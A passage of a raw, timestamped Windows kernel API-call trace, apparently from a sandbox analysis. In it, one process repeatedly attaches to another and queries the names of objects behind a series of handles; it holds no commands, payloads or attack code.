dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.252] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.252] PsAcquireProcessExitSynchronization () returned 0x0 [0132.252] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.252] ObReferenceObjectByHandle (in: Handle=0x718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0020ff7e0, HandleInformation=0x0) returned 0x0 [0132.252] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.252] PsReleaseProcessExitSynchronization () returned 0x2 [0132.252] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.252] ObQueryNameString (in: Object=0xfffff8a0020ff7e0, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.252] ObfDereferenceObject (Object=0xfffff8a0020ff7e0) returned 0x2 [0132.252] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.252] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.252] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.252] PsAcquireProcessExitSynchronization () returned 0x0 [0132.252] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.252] ObReferenceObjectByHandle (in: Handle=0x720, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800209cd00, HandleInformation=0x0) returned 0x0 [0132.253] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.253] PsReleaseProcessExitSynchronization () returned 0x2 [0132.253] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.253] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.253] ObfDereferenceObject (Object=0xfffffa800209cd00) returned 0x11 [0132.253] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.253] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.253] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.253] PsAcquireProcessExitSynchronization () returned 0x0 [0132.253] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.253] ObReferenceObjectByHandle (in: Handle=0x728, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80024238a0, HandleInformation=0x0) returned 0x0 [0132.253] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.253] PsReleaseProcessExitSynchronization () returned 0x2 [0132.253] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.253] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.253] ObfDereferenceObject (Object=0xfffffa80024238a0) returned 0x1 [0132.253] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.253] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.253] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.253] PsAcquireProcessExitSynchronization () returned 0x0 [0132.253] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.253] ObReferenceObjectByHandle (in: Handle=0x73c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020beab0, HandleInformation=0x0) returned 0x0 [0132.254] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.254] PsReleaseProcessExitSynchronization () returned 0x2 [0132.254] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.254] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0132.254] ObfDereferenceObject (Object=0xfffffa80020beab0) returned 0x1 [0132.254] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.254] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.254] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.254] PsAcquireProcessExitSynchronization () returned 0x0 [0132.254] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.254] ObReferenceObjectByHandle (in: Handle=0x74c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0020d4a50, HandleInformation=0x0) returned 0x0 [0132.254] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.254] PsReleaseProcessExitSynchronization () returned 0x2 [0132.254] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.254] ObQueryNameString (in: Object=0xfffff8a0020d4a50, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.254] ObfDereferenceObject (Object=0xfffff8a0020d4a50) returned 0x2 [0132.254] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.254] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.254] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.254] PsAcquireProcessExitSynchronization () returned 0x0 [0132.254] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.254] ObReferenceObjectByHandle (in: Handle=0x7b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f8a3b0, HandleInformation=0x0) returned 0x0 [0132.254] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.254] PsReleaseProcessExitSynchronization () returned 0x2 [0132.255] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.255] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005000508) returned 0x0 [0132.255] ObfDereferenceObject (Object=0xfffffa8002f8a3b0) returned 0x1 [0132.255] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.255] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.255] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.255] PsAcquireProcessExitSynchronization () returned 0x0 [0132.255] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.255] ObReferenceObjectByHandle (in: Handle=0x7d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003555b30, HandleInformation=0x0) returned 0x0 [0132.255] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.255] PsReleaseProcessExitSynchronization () returned 0x2 [0132.255] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.255] ObQueryNameString (in: Object=0xfffffa8003555b30, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.255] ObfDereferenceObject (Object=0xfffffa8003555b30) returned 0x1 [0132.255] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.255] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.255] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.255] PsAcquireProcessExitSynchronization () returned 0x0 [0132.255] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.255] ObReferenceObjectByHandle (in: Handle=0x7e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003b34860, HandleInformation=0x0) returned 0x0 [0132.255] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.255] PsReleaseProcessExitSynchronization () returned 0x2 [0132.255] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.255] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.255] ObfDereferenceObject (Object=0xfffffa8003b34860) returned 0x1 [0132.255] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.256] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.256] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.256] PsAcquireProcessExitSynchronization () returned 0x0 [0132.256] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.256] ObReferenceObjectByHandle (in: Handle=0x7f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0132.256] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.256] PsReleaseProcessExitSynchronization () returned 0x2 [0132.256] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.256] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.256] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0132.256] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.256] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.256] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.256] PsAcquireProcessExitSynchronization () returned 0x0 [0132.256] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.256] ObReferenceObjectByHandle (in: Handle=0x808, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001fc5590, HandleInformation=0x0) returned 0x0 [0132.256] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.256] PsReleaseProcessExitSynchronization () returned 0x2 [0132.256] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.256] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.256] ObfDereferenceObject (Object=0xfffffa8001fc5590) returned 0x1 [0132.256] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.256] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.257] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.257] PsAcquireProcessExitSynchronization () returned 0x0 [0132.257] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.257] ObReferenceObjectByHandle (in: Handle=0x8a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0132.257] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.257] PsReleaseProcessExitSynchronization () returned 0x2 [0132.257] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.257] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.257] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0132.257] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.257] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.276] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.277] PsAcquireProcessExitSynchronization () returned 0x0 [0132.277] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.277] ObReferenceObjectByHandle (in: Handle=0x8e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800344df20, HandleInformation=0x0) returned 0x0 [0132.277] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.277] PsReleaseProcessExitSynchronization () returned 0x2 [0132.277] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.277] ObQueryNameString (in: Object=0xfffffa800344df20, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0132.277] ObfDereferenceObject (Object=0xfffffa800344df20) returned 0x1 [0132.277] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.277] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.277] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.277] PsAcquireProcessExitSynchronization () returned 0x0 [0132.277] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.277] ObReferenceObjectByHandle (in: Handle=0x90c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020046f0, HandleInformation=0x0) returned 0x0 [0132.277] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.277] PsReleaseProcessExitSynchronization () returned 0x2 [0132.277] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.277] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0132.277] ObfDereferenceObject (Object=0xfffffa80020046f0) returned 0x11 [0132.277] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.277] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.278] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.278] PsAcquireProcessExitSynchronization () returned 0x0 [0132.278] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.278] ObReferenceObjectByHandle (in: Handle=0x91c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003b92b00, HandleInformation=0x0) returned 0x0 [0132.278] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.278] PsReleaseProcessExitSynchronization () returned 0x2 [0132.278] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.278] ObQueryNameString (in: Object=0xfffffa8003b92b00, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.278] ObfDereferenceObject (Object=0xfffffa8003b92b00) returned 0x1 [0132.278] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.278] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.278] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.278] PsAcquireProcessExitSynchronization () returned 0x0 [0132.278] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.278] ObReferenceObjectByHandle (in: Handle=0x9a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002b90070, HandleInformation=0x0) returned 0x0 [0132.278] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.278] PsReleaseProcessExitSynchronization () returned 0x2 [0132.278] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.278] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.279] ObfDereferenceObject (Object=0xfffffa8002b90070) returned 0x1 [0132.279] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.279] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.279] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.279] PsAcquireProcessExitSynchronization () returned 0x0 [0132.279] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.279] ObReferenceObjectByHandle (in: Handle=0x9bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003bbc9c0, HandleInformation=0x0) returned 0x0 [0132.279] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.279] PsReleaseProcessExitSynchronization () returned 0x2 [0132.279] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.279] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.279] ObfDereferenceObject (Object=0xfffffa8003bbc9c0) returned 0x1 [0132.279] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.279] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.279] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.279] PsAcquireProcessExitSynchronization () returned 0x0 [0132.279] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.279] ObReferenceObjectByHandle (in: Handle=0x9d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003bbc870, HandleInformation=0x0) returned 0x0 [0132.279] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.279] PsReleaseProcessExitSynchronization () returned 0x2 [0132.279] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.279] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.280] ObfDereferenceObject (Object=0xfffffa8003bbc870) returned 0x1 [0132.280] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.280] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.280] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.280] PsAcquireProcessExitSynchronization () returned 0x0 [0132.280] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.280] ObReferenceObjectByHandle (in: Handle=0x9f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f8d850, HandleInformation=0x0) returned 0x0 [0132.280] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.280] PsReleaseProcessExitSynchronization () returned 0x2 [0132.280] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.280] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.280] ObfDereferenceObject (Object=0xfffffa8002f8d850) returned 0x1 [0132.280] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.280] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.280] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.280] PsAcquireProcessExitSynchronization () returned 0x0 [0132.280] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.280] ObReferenceObjectByHandle (in: Handle=0x9f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003590770, HandleInformation=0x0) returned 0x0 [0132.281] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.281] PsReleaseProcessExitSynchronization () returned 0x2 [0132.281] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.281] ObQueryNameString (in: Object=0xfffffa8003590770, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.281] ObfDereferenceObject (Object=0xfffffa8003590770) returned 0x11 [0132.281] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.281] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.281] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.281] PsAcquireProcessExitSynchronization () returned 0x0 [0132.281] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.281] ObReferenceObjectByHandle (in: Handle=0xa08, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031413d0, HandleInformation=0x0) returned 0x0 [0132.281] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.281] PsReleaseProcessExitSynchronization () returned 0x2 [0132.281] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.281] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.281] ObfDereferenceObject (Object=0xfffffa80031413d0) returned 0x1 [0132.281] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.281] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.281] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.282] PsAcquireProcessExitSynchronization () returned 0x0 [0132.282] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.282] ObReferenceObjectByHandle (in: Handle=0xa34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800b938480, HandleInformation=0x0) returned 0x0 [0132.282] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.282] PsReleaseProcessExitSynchronization () returned 0x2 [0132.282] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.282] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.282] ObfDereferenceObject (Object=0xfffffa800b938480) returned 0x1 [0132.282] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.282] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.282] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.282] PsAcquireProcessExitSynchronization () returned 0x0 [0132.282] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.282] ObReferenceObjectByHandle (in: Handle=0xa9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003591be0, HandleInformation=0x0) returned 0x0 [0132.282] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.282] 